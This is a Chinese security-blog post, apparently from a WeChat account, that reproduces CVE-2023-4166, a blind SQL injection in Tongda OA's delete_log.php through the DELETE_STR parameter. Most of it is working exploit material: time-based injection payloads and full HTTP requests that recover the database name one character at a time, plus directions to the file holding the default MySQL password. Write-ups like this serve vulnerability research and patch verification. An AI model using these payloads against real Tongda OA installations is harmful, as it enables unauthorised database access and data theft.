某达oa存在SQL注入漏洞(CVE-2023-4166)

声明：该公众号分享的安全工具、漏洞复现和项目均来源于网络，仅供安全研究与学习之用，如用于其他用途，由使用者承担全部法律及连带责任，与工具作者和本公众号无关。

漏洞描述:

某达OA中发现一个漏洞，并被列为严重漏洞。该漏洞影响文件general/system/seal_manage/dianju/delete_log.php的未知代码。对参数 DELETE_STR 的操作会导致 sql 注入。该漏洞已向公众披露并可能被使用。升级到版本最新版本可以解决这个问题。建议升级受影响的组件。VDB-236182 是分配给此漏洞的标识符。

回复4166可获取环境下载地址，下载之后直接下一步安装即可

到最后这步即安装成功，默认配置即可，如端口被占用可更换一个其他端口

安装之后访问网页127.0.0.1如图表示安装成功

此时可以打开通达的安装目录查看源代码如图:

发现代码被使用Zend加密，可以使用工具进行解密

http://www.xsssql.com/wp-content/uploads/2023/08/Zend解密工具SeayDzend.zip

路径：general/system/seal_manage/dianju/delete_log.php

注入参数：$DELETE_STR

打开存在漏洞的源码如下:

以下有效载荷可以确定数据库名称的第一个字符是T，ascii 84也对应于大写字母T。这样，可以通过盲注入获得数据库名称和任何数据库信息。

测试poc如下(该语句用于检测数据库第一个字符):

• 1)%20and%20(substr(DATABASE(),1,1))=char(84)%20and%20(select%20count(*)%20from%20information_schema.columns%20A,information_schema.columns%20B)%20and(1)=(1

当我们把84换成85延时如下:

• 1)%20and%20(substr(DATABASE(),1,1))=char(85)%20and%20(select%20count(*)%20from%20information_schema.columns%20A,information_schema.columns%20B)%20and(1)=(1

连接数据库信息如图:

继续猜数据库第二位字符POC如下 ascii 68对应大写字母D:

• GET /general/system/seal_manage/dianju/delete_log.php?DELETE_STR=1) and (substr(DATABASE(),2,1))=char(68) and (select count(*) from information_schema.columns A,information_schema.columns B) and(1)=(1 HTTP/1.1
• Host: 192.168.8.187
• Upgrade-Insecure-Requests: 1
• User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
• Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
• Referer: http://192.168.8.187/general/index.php?isIE=0&modify_pwd=0
• Accept-Encoding: gzip, deflate
• Accept-Language: zh-CN,zh;q=0.9
• Cookie: PHPSESSID=4n867pmrrp4nendg0tsngl7g70; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=c74d7ebb
• Connection: close

换成69延时如图

枚举数据库第三位POC如下:

• GET /general/system/seal_manage/dianju/delete_log.php?DELETE_STR=1) and (substr(DATABASE(),3,1))=char(95) and (select count(*) from information_schema.columns A,information_schema.columns B) and(1)=(1 HTTP/1.1
• Host: 192.168.8.187
• Upgrade-Insecure-Requests: 1
• User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
• Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
• Referer: http://192.168.8.187/general/index.php?isIE=0&modify_pwd=0
• Accept-Encoding: gzip, deflate
• Accept-Language: zh-CN,zh;q=0.9
• Cookie: PHPSESSID=4n867pmrrp4nendg0tsngl7g70; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=c74d7ebb
• Connection: close

第4位POC如下:

• GET /general/system/seal_manage/dianju/delete_log.php?DELETE_STR=1) and (substr(DATABASE(),4,1))=char(79) and (select count(*) from information_schema.columns A,information_schema.columns B) and(1)=(1 HTTP/1.1
• Host: 192.168.8.187
• Upgrade-Insecure-Requests: 1
• User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
• Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
• Referer: http://192.168.8.187/general/index.php?isIE=0&modify_pwd=0
• Accept-Encoding: gzip, deflate
• Accept-Language: zh-CN,zh;q=0.9
• Cookie: PHPSESSID=4n867pmrrp4nendg0tsngl7g70; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=c74d7ebb
• Connection: close

第5位

• GET /general/system/seal_manage/dianju/delete_log.php?DELETE_STR=1) and (substr(DATABASE(),5,1))=char(65) and (select count(*) from information_schema.columns A,information_schema.columns B) and(1)=(1 HTTP/1.1
• Host: 192.168.8.187
• Upgrade-Insecure-Requests: 1
• User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
• Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
• Referer: http://192.168.8.187/general/index.php?isIE=0&modify_pwd=0
• Accept-Encoding: gzip, deflate
• Accept-Language: zh-CN,zh;q=0.9
• Cookie: PHPSESSID=4n867pmrrp4nendg0tsngl7g70; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=c74d7ebb
• Connection: close

猜解后对数据库名进行拼接为:TD_OA

另外通达OA安装后默认数据库密码位置为（每台机器的密码均不一样为随机生成的密码）:

• 通达安装目录/mysql5/my.ini

打开之后用记事本查看配置项password=即可，默认端口为3336

原文始发于微信公众号（TEST安全）：某达oa存在SQL注入漏洞(CVE-2023-4166)